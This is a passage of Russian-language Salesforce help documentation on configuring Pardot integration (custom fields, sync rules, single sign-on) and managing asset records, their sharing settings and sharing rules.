Настройка настраиваемых полей Pardot в системе Salesforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Настраиваемые поля Pardot могут отображаться в системе Salesforce.

Пакет AppExchange, установленный для подготовки системы Salesforce к подключению
и синхронизации с Pardot, самостоятельно настраивает настраиваемые поля; данные
полянеотображаютсяв системе Salesforce автоматически. Система Salesforceотображает
данные настраиваемые поля только после выполнения некоторых действий.
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Добавление разделов в макеты страниц интересов и контактов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Чтобы добавить поля Pardot в макеты страниц интересов и контактов, выполните
указанные ниже действия.

1. Откройте страницу «Макетыстраниц» Salesforceпосредствомпараметровуправления
интересами.
Вверху страницы отображается интерактивная область, содержащая нужные поля.

2. Перетащите поле «Раздел» в макет страницы интереса.

3. Введите имя раздела «Pardot» во всплывающем окне.

4. Установите переключатель «2 (два)» для количества столбцов.

5. Разрешите отображение заголовка раздела и нажмите кнопку «OK».

6. Вернитесь к разделу «Поля» интерактивного редактора и найдите настраиваемые
поля Pardot.

7. Перетащите все поля Pardot в новый раздел.

8. Добавьте другой раздел посредством интерактивного редактора, но установите переключатель «1 (один)» для
количества столбцов.

9. Разрешите отображение заголовка раздела и нажмите кнопку «OK».

10. Выберите «Вкладка "Страницы Visualforce"» и перетащите поля «Действия интереса Pardot» и «Участники
списка интересов Pardot» в новый раздел.

Настройка Salesforce для добавления потенциальных клиентов кампаний в Pardot

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Настройте систему Salesforce для быстрого добавления потенциальных клиентов из
кампаний Salesforce в Pardot.

1. Откройтестраницу «Макетыстраниц» посредствомпараметровуправленияобъектом
для кампаний в приложении Salesforce.

2. Щелкните ссылку «Правка» напротив нужногомакета и выберите раздел «Кнопки».

3. Перетащите кнопку «Добавить в список Pardot» в строку настраиваемых кнопок.

4. Сохраните макет.
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Настройка Salesforce для добавления интересов и кампаний в Pardot

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Система Salesforce поддерживает добавление кнопок, позволяющих быстро добавлять
интересы и кампании в Pardot, а также отправлять сообщения эл. почты, отслеживаемые
в Pardot, из системы Salesforce.

Чтобыдобавлятьинтересыикампании Salesforce в Pardot, настройте кнопку «Отправить
в Pardot». Если адреса эл. почты, связанные с записями Salesforce:

• пока не существуют в Pardot, тофункция «Отправить в Pardot» создает новые записи
Pardot автоматически.

• уже существуют в Pardot, то повторяющиеся записи Pardot не создаются.

Чтобы отправлять сообщения эл. почты, отслеживаемые в Pardot, из системы Salesforce,
настройте кнопку «Отправить сообщение эл. почты Pardot». Чтобы отправить
сообщение эл. почты интересу или контакту, воспользуйтесь свободной формой или
утвержденнымшаблоном эл. почты Pardot.

1. Выполните вход в систему Salesforce в качестве администратора.

2. В настройках управления объектами интересов перейдите в раздел «Макеты страниц».
Вверху страницы отображается интерактивная область, содержащая нужные поля.

3. Выберите раздел «Кнопки».

4. Перетащите кнопку «Отправить в Pardot» в раздел сведений об интересе.

5. Перетащите кнопку «Отправить сообщение эл. почты Pardot» в раздел сведений об интересе.

6. Сохраните макет.

7. Повторите действия 2—6 для контактов.

Назначение имени пользователя Salesforce коннектору

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Убедитесь в соответствии любых действий, выполняемых над коннектором.

1. Откройте Pardot, наведите указатель мыши на меню «Администрировать» и
последовательно выберите пункты «Управление пользователями» >
«Пользователи».

2. Щелкните значок в строке нужного профиля и выберите пункт «Правка».

3. Прокрутите страницу до поля редактирования пользователя.

4. Выберите нужное имя пользователя Salesforce из раскрывающегося меню.

5. Щелкните «Сохранить пользователя».

6. При просмотре профиля Pardot имя пользователя Salesforce отображается в поле
«Имя пользователя CRM-системы». Щелкните «Проверить» и введите пароль
Salesforce.
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Настройка единой регистрации для Salesforce и Pardot

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Системы Salesforce и Pardot поддерживают возможность единой регистрации.

1. Выполните вход в Pardot.

2. Наведите указатель мыши на собственный адрес эл. почты ищелкните «Мои
параметры».

3. Проверьте правильность имени пользователя Salesforce. Если имя пользователя
указано правильно, щелкните «Проверить». Чтобы изменить или добавить имя
пользователя, щелкните «Редактировать мои сведения о пользователе».

4. При отображении соответствующего запроса введите пароль Salesforce ищелкните
«Проверить».
После выполнения проверки отображается соответствующее сообщение.

5. При успешной проверке выполните вход в систему Salesforce и откройте вкладку
Pardot.
Содержимое вкладки должно быть доступно для просмотра без выполнения отдельного входа в Pardot.

Отправка сообщений эл. почты из системы Salesforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Сообщения эл. почты могут отправляться из любого поля пользователя, включая
контактыслужбыподдержки, менеджеровпоработе с клиентамиилилюбогосвязанного
с потенциальным клиентом Pardot.

Благодаря настройке пользователей и необходимых настраиваемых полей в Pardot,
даннаяфункция позволяет отправлять сообщения эл. почтыпотенциальным клиентам,
созданным на основе любого пользователя Salesforce.

ДействияСистема

Salesforce 1. Создайте поле для записи интереса или контакта в системе Salesforce,
предназначенное для хранения пользователя CRM-системы (например,
значение «Менеджер взаимосвязей»). Данное поле должно быть полем
поиска. Приналичиисозданногополяубедитесь, чтооноявляетсяполем
поиска и доступно для заполнения.

2. Заполните поле поиска нужным пользователем.

Pardot 1. Создайте соответствующие места пользователей для любых
пользователей Salesforce.

2. Соотнеситеместопользователя Pardot спользователемSalesforce. Данное
действиепозволяет Pardot получать сведенияопользователедляразных
тегов при отправке сообщения эл. почты.

3. Создайтенастраиваемоеполе Pardot типа «Пользователь CRM-системы»
для хранения значенийв записипотенциального клиента. Данноеполе
должно быть доступно в Pardot только для чтения.

4. Соотнеситенастраиваемоеполессоответствующимполем salesforce.com.
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Общие сведения об обновлениях адресов эл. почты между Salesforce и Pardot

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Просмотрите порядок автоматической синхронизации обновлений адресов эл. почты
для контактов и интересов Salesforce с соответствующими потенциальными клиентами
Pardot.

Циклсинхронизациинижеобновляетадресаэл. почтысоответствующихпотенциальных
клиентов Pardot при обновлении адресов эл. почты контактов и интересов Salesforce
вручную или посредством Data.com. Кроме того, цикл синхронизации ниже обновляет
адреса эл. почтыдлясоответствующихпотенциальныхклиентов Pardot приобъединении
контактов или интересов Salesforce и наличии отличающихся адресов эл. почты для
основных записей.

Порядок синхронизацииприотсутствииадресов эл. почтыв Salesforceили Pardot

При добавлении адресов эл. почты в текущие контакты или интересы Salesforce цикл синхронизации не инициирует
создание потенциальных клиентов Pardot. При наличии потенциальных клиентов Pardot, использующих совпадающие
адреса эл. почты, цикл синхронизации не инициирует обновление адресов эл. почты для совпадающих интересов или
контактов Salesforce.

Принципы использования параметров синхронизации организаций Pardot и организаций-лиц
Salesforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Интересымогут быстро синхронизироватьсямежду двумя системамипосленазначения
потенциальных клиентов Pardot пользователям.

Рассмотрите следующие варианты перед тем, как приступить к синхронизации
организаций Pardot и организаций-лиц Salesforce.

РекомендацииАлгоритм
Pardot

ПоумолчаниюконнекторсоздаетзаписиSalesforceкакинтересы. Однако,
Pardot не позволяет распознавать организации-лица, преобразованные
из интересов. Pardot не поддерживает синхронизацию с
организациями-лицами. Взамен, Pardot повторно создает интересы для
синхронизации.

Создать
интересы в
системе
Salesforce и
синхронизировать
с
организациями-лицами При использовании организаций-лиц в системе Salesforce данный

стандартный алгоритм может быть изменен. Включение функций
синхронизацииорганизаций-лицисозданияинтересовпозволяет Pardot
создавать записи в системе Salesforce как интересы, но при их
преобразовании в организации-лица Pardot поддерживает
синхронизацию с организациями-лицами, поэтому дополнительные
интересы Salesforce не создаются.

Даннаясинхронизацияинициируетсинхронизациюорганизации-лица
Salesforce с записью потенциального клиента Pardot, связанной с
организацией Pardot, поэтому объединение двух записей в одну (как в
системе Salesforce) не выполняется. Соотнесение полей не меняется, то
есть поля контактов соотносятся с полями потенциальных клиентов, а
поля организаций Salesforce соотносятся с полями организаций Pardot.
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РекомендацииАлгоритм Pardot

Таким образом, поле организации-лица «Ответственный за организацию» должно
синхронизироваться с полем «Назначенный пользователь» организации Pardot.

Назначенные потенциальные клиенты, имеющие обновленные стандартные значения полей
(включая назначенного ответственного) в системе Salesforce, синхронизируются примерно каждые

Создать и
синхронизировать
только
организации-лица

10 минут, возвращаяобновленияв запись Pardot (ввидуприоритетаSalesforceприконфликтеданных).
Обновления настраиваемых полей также синхронизируются с системой Salesforce, возвращая их в
запись Pardot, кроме случаев переопределения значения Salesforce значением Pardot.

Неназначенныепотенциальныеклиенты Pardot, имеющиедействияилиобновленныезаписи, также
синхронизируютсяприиспользованиианалогичногоадреса эл. почтыв записяхSalesforce. Помните,
что назначенные потенциальные клиенты имеют более высокий приоритет в синхронизации, чем
неназначенные потенциальные клиенты Pardot. При отсутствии совпадающих адресов эл. почты в
системе Salesforce потенциальный клиент Pardot синхронизируется только после назначения
пользователю. Другими словами, коннектор создает записи в системе Salesforce только после
назначения потенциального клиента в Pardot.

Синхронизация интересов между Pardot и Salesforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Интересымогут быстро синхронизироватьсямежду двумя системамипосленазначения
потенциальных клиентов Pardot пользователям.

ТекущиеинтересыSalesforceсинхронизируютсяконнекторомс Pardot путемобъединения
потенциальных клиентов Pardot и интересов Salesforce между двумя системами. При
наличии конфликтов данных в полях, являющихся общими для Salesforce и Pardot,
включая поле ответственного за интерес, данные из полей Salesforce всегда имеют
приоритет. Рекомендуем использовать преимущество даннойфункции при настройке
настраиваемые полей в Pardot. При необходимости настройте Pardot для отправки
сообщений эл. почты потенциальным клиентам, созданным на основе любого
пользователя Salesforce.

ДействияМетод
синхронизации

Выборссылки«Синхронизироватьс CRM-системой»в Pardot инициирует
мгновеннуюсинхронизациюпотенциальныхклиентов Pardot синтересами
Salesforce путем объединения данных из Pardot и Salesforce.

Вручную

Назначенныепотенциальныеклиенты, имеющиеобновленныестандартные
значенияполей (включаяназначенногоответственного) в системе Salesforce,

Автоматически

синхронизируются примерно каждые 10 минут, возвращая обновления в
запись Pardot (ввиду приоритета Salesforce при конфликте данных).
Обновления настраиваемых полей также синхронизируются с системой
Salesforce, возвращая их в запись Pardot, кроме случаев переопределения
значения Salesforce значением Pardot.

Неназначенные потенциальные клиенты Pardot, имеющие действия или
обновленные записи, также синхронизируются при использовании
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ДействияМетод
синхронизации

аналогичного адреса эл. почты в записях Salesforce. Помните, что назначенные потенциальные клиенты
имеютболее высокийприоритет в синхронизации, чемненазначенныепотенциальные клиенты Pardot.
При отсутствии совпадающих адресов эл. почты в системе Salesforce потенциальный клиент Pardot
синхронизируется толькопосленазначенияпользователю. Другимисловами, коннекторсоздает записи
в системе Salesforce только после назначения потенциального клиента в Pardot.

Отслеживание потенциальных клиентов в качестве контактов Salesforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Контакты Salesforceмогут автоматическисоздаватьсяизпотенциальныхклиентов Pardot.

По умолчанию коннектор Salesforce создает интересы Salesforce из потенциальных
клиентов Pardot. Чтобыразрешить Pardot создаватьконтактыSalesforce взаменинтересов
Salesforce при отслеживании потенциальных клиентов, обратитесь к сотруднику Pardot
Services для настройки соответствующего стандартного параметра.

Если организация использует даннуюфункцию, то Pardot сначала просматривает
интересы Salesforce на наличие текущей записи интереса, содержащей аналогичный
адрес эл. почты, который может использоваться Pardot для синхронизации. При
отсутствии текущей записи интереса Pardot выполняет поиск текущей записи контакта,
содержащей аналогичный адрес эл. почты. При отсутствии интереса или контакта
Salesforce, содержащего аналогичный адрес эл. почты, Pardot создает новую запись
контакта Salesforce.

Отслеживание продуктов, приобретаемых клиентами

Что такое активы?

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Продукты — это объекты, продаваемые компанией. Активы — это определенные
продукты, приобретенные клиентом. Активы определяются серийным номером, датой
покупкиидругимисведениями, связаннымисиндивидуальнойпродажей. Взависимости
отцелейиспользования, активамимогутсчитатьсяпродуктыконкурентов, установленные
клиентами, или версии продуктов.

Активы могут использоваться для хранения конкретной информации о продуктах
клиентов. Принеобходимостипросмотрите активына вкладке «Активы». Взависимости
от макетов страниц, связанные списки активов могут также отображаться в макетах
страниц организаций, контактов и продуктов.

Чтобыпредставитьболеесложныепродукты, ворганизацииможноустановитьиерархию
для активов. Актив может иметь до 2000 дочерних активов, а иерархия активов — до 50
уровней. Чтобы определить взаимосвязи между активами, используйте поле активов
«Родительский актив».
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Еслиадминистраторустановилсоответствующиенастройки, вашиклиентыполучаютправонаподдержкуприобретенного
актива.

СМ. ТАКЖЕ:

Начало работы с активами

Начало работы с активами

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Еслиорганизацияиспользуетпродукты, топоддержкаактивоввключаетсяавтоматически.
Преждечемпредоставитьпользователямдоступкактивам, рекомендуемадминистраторам
настроить организацию.

Чтобы внедрить активы в организацию, выполните указанные ниже действия.

• Добавьте вкладку «Активы» на начальную страницу.

Прим.: По умолчанию вкладка «Активы» не отображается организациям,
созданнымдо выпуска Spring '15. Чтобыпредоставить пользователям доступ ко
вкладке «Активы», рекомендуем изменить профили пользователей.

• Добавьте связанный список «Активы» в макеты страниц организаций, контактов и
продуктов. Данные связанные списки позволяют пользователям создавать активы.

• Чтобы актив использовался как дочерний в отношении другого актива, добавьте
поле «Родительский актив» вмакетыстраницактивов. Чтобыпредоставитьпользователямдополнительныйконтекст,
добавьте поле «Корневой актив», доступное только для чтения, представляющее актив верхнего уровня в иерархии
активов.

• Добавьте связанный список «Обращения» в соответствующие макеты страниц продуктов и активов.

• Добавьте поле «Актив» в макеты страниц обращений. В зависимости от текущих бизнес-требований, настройте
параметры безопасности для поля «Актив».

• По умолчаниюпользователям предоставляются полномочия «Чтение», «Создание», «Редактирование» и «Удаление»
для активов. При необходимости данные полномочия могут быть изменены. Активы и связанные списки активов
отображаются пользователям Salesforce только при наличии полномочия «Чтение» для активов.

• Вы такжеможете настроить поля активов имакеты страниц в разделе «Настройка», введя «Активы» в поле «Быстрый
поиск», затем выбрав «Активы».

СМ. ТАКЖЕ:

Что такое активы?
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Отображение вкладки «Активы»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра параметров
вкладки:
• «Просмотр настройки и

конфигурации»

Для редактирования
параметров вкладки:
• «Управление

профилями и наборами
полномочий»

Вкладка «Активы» — это область просмотра активов и их управления. По умолчанию
вкладка «Активы» отображается организациям, созданным после выпуска Spring'15.

Поумолчаниювкладка «Активы» неотображаетсяорганизациям, созданнымдовыпуска
Spring'15, поэтому отсутствует на странице «Все вкладки». Чтобы изменить доступность
вкладки, обновите профиль пользователя.

1. Последовательно выберите пункты «Администрировать» | «Управление
пользователями» | «Профили» в меню «Настройка».

2. Щелкните ссылку «Правка» напротив нужного профиля пользователя.

3. Выберите значение «Включены стандартные параметры» для вкладки «Активы» в
разделе «Параметры вкладки».

4. Нажмите кнопку «Сохранить».
Теперь пользователи обновленного профиля могут видеть вкладку «Активы» на
странице «Все вкладки» и добавлять вкладку «Активы» на свои начальные страницы.

Отображение и редактирование активов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра активов:
• «Чтение» для активов

Для изменения активов:
• «Редактирование» для

активов

Чтобы просмотреть актив, воспользуйтесь вкладкой «Продукты» или связанной
организацией или контактом.

Отображение активов
Чтобы просмотреть подробные сведения об активе, щелкните имя нужного актива
в связанномсписке, наначальнойстраницепродуктовилина страницахсо списками.
Есливорганизациивключенаподдержкавсплывающихсведений, наведитеуказатель
мыши на любое поле поиска страницы сведений, чтобы просмотреть ключевую
информацию о записи до открытия соответствующей страницы сведений.

Просмотр обновлений и комментариев для активов (Chatter)
Лента Chatter позволяет просматривать обновления, комментарии и сообщения для
активов.

Редактирование активов

• Чтобы изменить значения полей прямо на странице сведений, воспользуйтесь
функциейвстроенногоредактирования. Чтобывключитьфункциювстроенного
редактирования, обратитесь к администратору.

• Чтобы открыть страницу в режиме редактирования, нажмите кнопку «Правка»,
внесите необходимые изменения и нажмите кнопку «Сохранить».
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Связанные списки активов
Нижняя часть страницы сведений об активе отображает связанные списки, содержащие сведения о связанных
обращениях, правах, действиях или примечаниях и вложениях. Доступные связанные списки определяются
персональными настройками пользователя и параметрами макетов страниц, заданными администратором. Чтобы
просмотретьдополнительныесведенияоботдельномэлементе, щелкнитеимянужного элемента. Чтобыпросмотреть
дополнительные элементы, щелкните ссылку «больше» внизу страницы или «Подробнее» под связанным списком.

Печать активов
Чтобы открыть печатную версию сведений о записи, щелкните ссылку «Версия для печати», расположенную в
верхнем правом углу страницы.

Чтобыоткрытьпоследнююпросмотреннуюстраницу со списком, щелкните ссылку «Назадксписку», расположенную
вверхнейчастистраницысведенийобактиве. Есливорганизациивключенаподдержкасвертываемыхразделов, щелкните
значокстрелкинапротивнужногозаголовка, чтобыразвернутьилисвернутьсоответствующийразделстраницысведений.

Прим.: При наличии доступа к организации или контакту пользователям предоставляется автоматический доступ
к соответствующим активам. Однако, параметры общего доступа могут препятствовать просмотру организации,
связанной с контактом актива.

Удаление активов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра активов:
• «Чтение» для активов

Для удаления активов:
• «Удаление» для активов

Для восстановления
удаленных активов:
• «Удаление» для активов

Активы, связанные с организациями или контактами, могут быть удалены на страницах
данных записей или на вкладке «Продукты». Прежде чем удалить актив, просмотрите
сценарии ниже.

• Связан ли актив с обращением?

Активы, связанные с обращениями, не могут быть удалены. Организации или
контакты, связанные с активами обращения, также не могут быть удалены.

• Связан ли актив с продуктом?

Удаление продукта, используемого для создания актива, не инициирует удаление
актива.

• Связан ли актив с организацией или контактом?

Все активы, связанные с удаляемыми организациями или контактами, также
перемещаются в корзину.

Обратите внимание, что удаление организации со связанным контактом, который
также связан с активом, инициирует удаление всех трех записей. Чтобывосстановить
все три записи, рекомендуем восстановить запись организации.

• Имеет ли актив дочерние активы?

Не разрешается удалять актив с дочерними активами. Назначьте дочерние активы
другому родительскому активу и повторите попытку. Учтите, что обновление поля
активов «Родительский актив» изменяет корневой актив в соответствии с новым
родительским корневым объектом.

Прим.: При необходимости актив может быть удален без удаления связанных
записей. Однако, при последующем удалении связанной записи актив не может
быть восстановлен из корзины.

Чтобы удалить актив, выполните указанные ниже действия.
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1. Выберите нужный актив в связанном списке организации или контакта «Активы» или списковом представлении
активов на вкладке «Продукты».

2. Щелкните ссылку «Удал.» напротив нужного актива.

3. Нажмите кнопку «OK».

СМ. ТАКЖЕ:

Что такое активы?

Настройка функции отслеживания журнала поля для активов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Включитефункциюотслеживанияжурналаполядляотслеживанияизмененийв записях
активов.

Используйте функции отслеживания журнала поля, для того чтобы увидеть сведения о
следующих компонентах:

• Дата и время изменения поля

• Изменение

• Автор изменения

Чтобы включить отслеживание по полям активов, в разделе параметров управления
объектамиперейдите кразделуполей, щелкнитеУстановитьотслеживаниежурнала.
Также см. раздел «Отслеживание журнала поля» на странице 1114.
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Настройка поля «Ответственный за актив»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для включения общего
доступа:
• «Управление общим

доступом»

Для создания,
редактирования и удаления
макетов страниц:
• «Настройка

приложения»

Записи активов содержат поле «Ответственный за актив», которое используется для
настройки иерархии и средств управления общим доступом. По умолчанию
ответственным за актив является пользователь, создавший запись актива.

Начиная с выпуска Spring'15 поле «Ответственный за актив» используется для
управления доступом при назначении параметра общего доступа «Личный»,
«Общедоступный: толькодлячтения»или «Общедоступный: длячтенияизаписи»объекту «Активы».
Приназначениипараметра общего доступа «Контролируется родительскимобъектом»поле
«Ответственный за актив» не влияет на управление доступом, так как доступ к активу
определяется параметрами родительской организации.

Организации, созданные до выпуска Spring'15, могут автоматически обновлять поле
«Ответственный за актив» при включении параметра общего доступа для объекта
«Активы». Параметр общего доступа назначает полю «Ответственный за актив» одноиз
следующих значений:

• Пользователь, создавший актив

• Пользователь, несущий ответственность за родительскую организацию

По умолчаниюмакет страницыне отображает поле «Ответственный за актив». Чтобы
добавить поле «Владелец актива» на макет страницы, в параметрах управления
объектами перейдите в раздел «Макеты страниц».

1. Вразделе «Настройка» введите «Параметры актива» вполе «Быстрый поиск», затем
выберите «Параметры актива».

2. Установите флажок «Включить общий доступ к активам».
Данноедействиеинициируетотображениепараметровдлянастройкистандартного
поля «Ответственный за актив».

3. Задайте полю «Ответственный за актив» одно из следующих значений:

• Автор актива

• Ответственный за родительскую организацию

4. Нажмите кнопку «Сохранить».
Система обновляет поле «Ответственный за актив» выбранным значением.

Чтобы изменить ответственного за запись актива, откройте вкладку «Активы» и выберите нужную запись актива, либо
откройте вкладку «Организации», «Контакты» или «Продукты» и выберите нужную запись актива в связанном списке
«Активы». Щелкните ссылку «Изменить» напротив поля «Ответственный за актив» в разделе «Сведения: актив» и
выберите другого пользователя из меню поиска.

СМ. ТАКЖЕ:

Поиск по параметрам управления объектами
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Включение правил общего доступа для активов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для включения общего
доступа:
• «Управление общим

доступом»

Правила общего доступа позволяют автоматически предоставлять дополнительный
доступотдельнымгруппампользователей. Прииспользованииорганизации, созданной
до выпуска Spring '15, рекомендуем включить параметр общего доступа, позволяющий
создавать и применять правила общего доступа для активов организации.

Раньшеобъект «Активы» использовалсякакдочернийобъектдляобъекта «Организации»,
поэтому доступность активов определялась параметрами родительского объекта. В
выпуске Spring '15 объект «Активы» стал самостоятельным стандартным объектом. Как
результат, пользователи могут создавать правила общего доступа и применять их к
записям активов.

Прим.: Общийдоступвключенпоумолчаниюдляорганизаций, созданныхпосле
выпуска Spring '15. Указанные ниже действия могут быть пропущены данными
организациями. Общий доступ выключен по умолчанию для организаций,
созданныхдовыпуска Spring '15. Чтобывоспользоватьсяправиламиобщегодоступа,
рекомендуем включить параметр общего доступа.

1. Вразделе «Настройка» введите «Параметры актива» вполе «Быстрый поиск», затем
выберите «Параметры актива».

2. Установите флажок «Включить общий доступ к активам».

3. Нажмите кнопку «Сохранить».
Теперь пользователи могут создавать и применять правила общего доступа для
активов.

После включения общего доступа к активам выберите способ заполнения поля «Ответственный».

Предоставление общего доступа к активам

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра активов:
• «Чтение» для активов

Дляпросмотраи управления сведениямиобобщемдоступедля активовнажмите кнопку
«Общий доступ» на странице сведений об активе. Страница «Сведения об общем
доступе» содержитсписокпользователей, групп, ролейитерриторий, имеющихобщий
доступ к активу.

Стандартнаямодельобщегодоступавсейорганизацииопределяется администратором.
Принеобходимостистандартныйуровеньобщегодоступа, заданныйадминистратором,
можетбытьрасширен. Модельобщегодоступаопределяет самыйстрогий стандартный
уровень, который может быть только расширен.

Ниже перечислены действия, доступные на странице «Сведения об общем доступе».

• Чтобы просмотреть отфильтрованный список элементов, выберите нужное
представление в раскрывающемся списке «Просмотр» илищелкните ссылку
«Создать новое представление» для разработки собственных настраиваемых
представлений.Чтобы изменить или удалить любое созданное представление,
выберите еговраскрывающемсясписке «Просмотр» ищелкнитессылку «Правка».

• Чтобыпредоставитьдругимпользователям, группам, ролямилитерриториямдоступ
к записи, нажмите кнопку «Добавить».

Прим.: Чтобы предоставить другому пользователю доступ к активу,
рекомендуем предоставить данному пользователю доступ к связанной
организации и полномочие «Чтение» для активов.
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• Чтобы просмотреть всех пользователей, имеющих доступ к записи, нажмите кнопку «Развернуть список».

• Чтобы изменить или удалить уровень доступа, щелкните ссылку «Правка» или «Удал.» напротив нужного элемента
списка при использовании созданных правил общего доступа, предоставляемого вручную.

Создание правил общего доступа к активу

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания правил
общего доступа:
• «Управление общим

доступом»

Правила общего доступа к активу могут опираться на ответственного или другой
критерий, включая тип записи и определенные значения полей.

Разрешается создавать не более 300 правил общего доступа к активу, в том числе не
более 50 правил общего доступа на основе критериев.

1. Чтобы добавить общедоступные группы в правила общего доступа, убедитесь, что
соответствующие группы были созданы.

2. Введите строку «Параметры общего доступа» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Параметры общего доступа».

3. Нажмите кнопку «Создать» в связанном списке «Правила общего доступа: актив».

4. Заполнитеполя «Имяметки»и «Имяправила». Метка — этометкаправилаобщего
доступа, отображаемая в пользовательском интерфейсе. Имя правила — это
уникальное имя, используемое интерфейсом API и управляемыми пакетами.

5. Заполните поле «Описание». Данное поле содержит описание правила общего
доступа. Данное поле является дополнительным и может содержать не более 1 000
символов.

6. Выберите тип правила.

7. В зависимости от выбранного типа правила, выполните указанные ниже действия.

• «На основе ответственности за запись». Встроке «за которые отвечают участники» выберите пользователей,
записи которыхдолжныстать общедоступными: выберите категориювпервомраскрывающемся спискеи группу
пользователей во втором раскрывающемся списке (или в поле поиска, если организация использует более
200 очередей, групп, ролей или территорий).

• «На основе критериев». Укажите критерии «Поле», «Оператор» и «Значение», которым должны соответствовать
записи для добавления в правило общего доступа. Доступные поля определяются выбранным типом объекта. В
качестве значения можно использовать текстовую строку или число. Чтобы изменить стандартную взаимосвязь
типа «И» между всеми фильтрами, щелкните ссылку «Добавить логикуфильтра...».

Прим.: Чтобыиспользоватьполе, котороенеподдерживаетсяправиламиобщегодоступанаосновекритериев,
рекомендуем создать бизнес-правило или триггер Apex для копирования значения поля в текстовое или
числовое поле и его использования в качестве критерия.

8. Встроке «Общий доступ с» выберитепользователей, которымдолженбытьпредоставлендоступкданным: выберите
категорию в первом раскрывающемся списке и группу пользователей во втором раскрывающемся списке или поле
поиска.

9. Выберите значение в поле «Доступ к активу».

10. В остальных полях выберите параметры доступа для записей, связанных с общедоступными активами.
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ОписаниеПараметр доступа

Пользователи могут просматривать, редактировать или
удалять активы на основе доступности аналогичного

Контролируется родительским объектом

действия над связанными родительскими объектами.
Параметр доступа «Контролируется родительским
объектом» используется по умолчанию.

Пользователи не могут просматривать или обновлять
записи, кроме случаев предоставления доступа вне
данного правила общего доступа.

Личный

(доступнотолькодлясвязанныхконтактов, возможностей
и обращений)

Пользователи могут просматривать записи, но не могут
их обновлять.

Только для чтения

Пользователи могут просматривать и обновлять записи.Для чтения и записи

Прим.: Параметр «Доступ к активу» недоступенв том случае, если единому стандартномупараметру для активов
задано значение «Контролируется родительским объектом».

11. Нажмите кнопку «Сохранить».

Отслеживание коллег

Контакты

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

Контакт — это лицо, связанное с одной из ваших организаций или с другими типами
записей, например возможностями. Обычно контакты являются сотрудниками
компаний-клиентов. Записи контактов содержат сведения, необходимые для
эффективной деловой деятельности, например ФИО, номер мобильного телефона и
должность.

Рекомендации по созданию контактов
Ниже приведеныфакторы, которые следует принять во внимание при создании
контактов.

Рекомендации по просмотру и редактированию контактов
Для просмотра и управления контактами используется начальная страница контактов.

Обновление контактов посредством запросов
